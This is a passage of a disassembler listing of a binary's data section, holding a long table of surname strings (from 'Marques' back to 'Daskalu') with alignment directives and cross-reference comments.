___:0042E08Co align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E088o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E084o align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E080o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E07Co align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E078o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E074o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E070o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E06Co aMandel db 'Mandel',0 ; DATA XREF: ___:0042E068o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E064o aMalova db 'Malova',0 ; DATA XREF: ___:0042E060o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E05Co align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E058o align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E054o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E050o align 10h aMaier db 'Maier',0 ; DATA XREF: ___:0042E04Co align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E048o align 10h aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E044o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E040o aMacy db 'Macy',0 ; DATA XREF: ___:0042E03Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E038o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E034o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E030o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E02Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E028o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E024o align 10h aMa db 'Ma',0 ; DATA XREF: ___:0042E020o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E01Co aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E018o align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E014o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E010o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E00Co aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E008o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E004o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E000o aLucas db 'Lucas',0 ; DATA XREF: ___:0042DFFCo align 10h aLubin db 'Lubin',0 ; DATA XREF: ___:0042DFF8o align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042DFF4o align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF0o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFECo aLoss db 'Loss',0 ; DATA XREF: ___:0042DFE8o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFE4o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE0o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFDCo aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFD8o aLivi db 'Livi',0 ; DATA XREF: ___:0042DFD4o align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD0o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFCCo align 10h aLittle db 'Little',0 ; DATA XREF: ___:0042DFC8o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFC4o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC0o align 10h aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFBCo align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFB8o aLine db 'Line',0 ; DATA XREF: ___:0042DFB4o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB0o align 10h aLinda db 'Linda',0 ; DATA XREF: ___:0042DFACo align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042DFA8o aLim db 'Lim',0 ; DATA XREF: ___:0042DFA4o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA0o align 10h aLight db 'Light',0 ; DATA XREF: ___:0042DF9Co align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042DF98o align 10h aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF94o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF90o align 10h aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF8Co align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF88o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF84o align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF80o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042DF7Co align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF78o align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF74o align 10h aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF70o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF6Co aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF68o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF64o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF60o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF5Co align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF58o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042DF54o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF50o align 10h aLaing db 'Laing',0 ; DATA XREF: ___:0042DF4Co align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF48o align 10h aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF44o aLa db 'La',0 ; DATA XREF: ___:0042DF40o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF3Co align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF38o align 10h aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF34o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF30o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF2Co aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF28o aKraus db 'Kraus',0 ; DATA XREF: ___:0042DF24o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042DF20o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042DF1Co align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042DF18o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042DF14o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042DF10o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042DF0Co align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042DF08o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042DF04o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042DF00o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042DEFCo align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042DEF8o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042DEF4o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042DEF0o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042DEECo aKnuff db 'Knuff',0 ; DATA XREF: ___:0042DEE8o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042DEE4o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042DEE0o aKling db 'Kling',0 ; DATA XREF: ___:0042DEDCo align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042DED8o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042DED4o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042DED0o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042DECCo align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042DEC8o align 10h aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042DEC4o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042DEC0o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042DEBCo aKindall db 'Kindall',0 ; DATA XREF: ___:0042DEB8o aKimura db 'Kimura',0 ; DATA XREF: ___:0042DEB4o align 10h aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042DEB0o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042DEACo align 10h aKhong db 'Khong',0 ; DATA XREF: ___:0042DEA8o align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042DEA4o align 10h aKerry db 'Kerry',0 ; DATA XREF: ___:0042DEA0o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042DE9Co aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042DE98o aKempton db 'Kempton',0 ; DATA XREF: ___:0042DE94o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042DE90o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042DE8Co align 10h aKeith db 'Keith',0 ; DATA XREF: ___:0042DE88o align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042DE84o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE80o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042DE7Co aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE78o aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE74o align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE70o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE6Co align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE68o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE64o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE60o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE5Co align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE58o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE54o align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE50o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE4Co aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE48o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE44o aJulious db 'Julious',0 ; DATA XREF: ___:0042DE40o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE3Co aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE38o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE34o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE30o align 10h aJohns db 'Johns',0 ; DATA XREF: ___:0042DE2Co align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE28o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE24o aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE20o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE1Co align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE18o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE14o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE10o aJay db 'Jay',0 ; DATA XREF: ___:0042DE0Co aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE08o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE04o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE00o align 10h aJamil db 'Jamil',0 ; DATA XREF: ___:0042DDFCo align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042DDF8o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDF4o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF0o align 10h aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDECo align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDE8o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDE4o aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE0o align 10h aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDDCo align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDD8o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDD4o align 10h aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD0o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDCCo align 10h aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDC8o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDC4o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC0o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDBCo align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDB8o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDB4o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB0o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDACo align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDA8o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDA4o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA0o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042DD9Co align 10h aHoy db 'Hoy',0 ; DATA XREF: ___:0042DD98o aHoward db 'Howard',0 ; DATA XREF: ___:0042DD94o align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD90o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD8Co aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD88o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD84o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD80o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD7Co align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD78o aHolway db 'Holway',0 ; DATA XREF: ___:0042DD74o align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DD70o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD6Co aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD68o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD64o align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD60o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD5Co aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD58o align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042DD54o align 10h aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD50o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD4Co align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD48o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD44o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD40o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD3Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD38o aHester db 'Hester',0 ; DATA XREF: ___:0042DD34o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD30o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD2Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD28o align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042DD24o align 10h aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD20o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD1Co aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD18o align 10h aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD14o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD10o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD0Co align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD08o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD04o align 10h aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD00o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042DCFCo align 10h aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DCF8o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCF4o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF0o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCECo align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCE8o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCE4o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE0o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCDCo align 10h aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCD8o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DCD4o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD0o aHand db 'Hand',0 ; DATA XREF: ___:0042DCCCo align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCC8o align 10h aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCC4o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC0o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCBCo aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCB8o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCB4o aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB0o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCACo align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCA8o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCA4o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042DCA0o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DC9Co aGunn db 'Gunn',0 ; DATA XREF: ___:0042DC98o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC94o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC90o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC8Co align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC88o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC84o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC80o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC7Co align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC78o align 10h aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC74o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC70o align 10h aGoody db 'Goody',0 ; DATA XREF: ___:0042DC6Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC68o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC64o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC60o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC5Co align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC58o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC54o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC50o aGist db 'Gist',0 ; DATA XREF: ___:0042DC4Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC48o align 10h aGill db 'Gill',0 ; DATA XREF: ___:0042DC44o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DC40o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC3Co aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC38o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC34o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC30o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC2Co aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC28o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC24o align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC20o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC1Co aGarman db 'Garman',0 ; DATA XREF: ___:0042DC18o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC14o align 10h aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC10o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC0Co align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC08o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC04o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC00o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DBFCo align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DBF8o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBF4o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF0o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DBECo align 10h aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBE8o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBE4o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE0o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBDCo align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DBD8o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBD4o align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD0o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBCCo align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DBC8o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBC4o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC0o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBBCo align 10h aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBB8o align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBB4o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB0o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DBACo align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBA8o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBA4o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA0o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DB9Co aFisk db 'Fisk',0 ; DATA XREF: ___:0042DB98o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB94o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB90o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB8Co aFink db 'Fink',0 ; DATA XREF: ___:0042DB88o align 4 aField db 'Field',0 ; DATA XREF: ___:0042DB84o align 10h aFido db 'Fido',0 ; DATA XREF: ___:0042DB80o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB7Co align 10h aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB78o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB74o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB70o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB6Co aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB68o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB64o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB60o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DB5Co align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB58o align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DB54o align 10h aFarone db 'Farone',0 ; DATA XREF: ___:0042DB50o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DB4Co align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB48o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB44o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB40o align 10h aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB3Co align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB38o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB34o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB30o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB2Co align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB28o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB24o align 10h aErez db 'Erez',0 ; DATA XREF: ___:0042DB20o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB1Co align 10h aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB18o align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB14o align 10h aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB10o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB0Co aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB08o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB04o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB00o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DAFCo align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DAF8o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAF4o aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF0o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DAECo align 10h aEdley db 'Edley',0 ; DATA XREF: ___:0042DAE8o align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAE4o align 10h aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE0o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DADCo aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAD8o align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DAD4o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD0o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DACCo align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAC8o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAC4o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC0o align 10h aDoug db 'Doug',0 ; DATA XREF: ___:0042DABCo align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DAB8o align 10h aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAB4o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB0o align 10h aDore db 'Dore',0 ; DATA XREF: ___:0042DAACo align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAA8o align 10h aDonner db 'Donner',0 ; DATA XREF: ___:0042DAA4o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA0o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DA9Co aDockery db 'Dockery',0 ; DATA XREF: ___:0042DA98o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA94o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA90o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA8Co align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA88o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA84o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA80o align 10h aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA7Co align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA78o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA74o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA70o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DA6Co aDenham db 'Denham',0 ; DATA XREF: ___:0042DA68o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA64o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA60o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA5Co align 10h aDeming db 'Deming',0 ; DATA XREF: ___:0042DA58o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA50o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA4Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA48o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA44o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA40o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA3Co aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA38o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA30o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA2Co align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA28o aDavid db 'David',0 ; DATA XREF: ___:0042DA24o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: 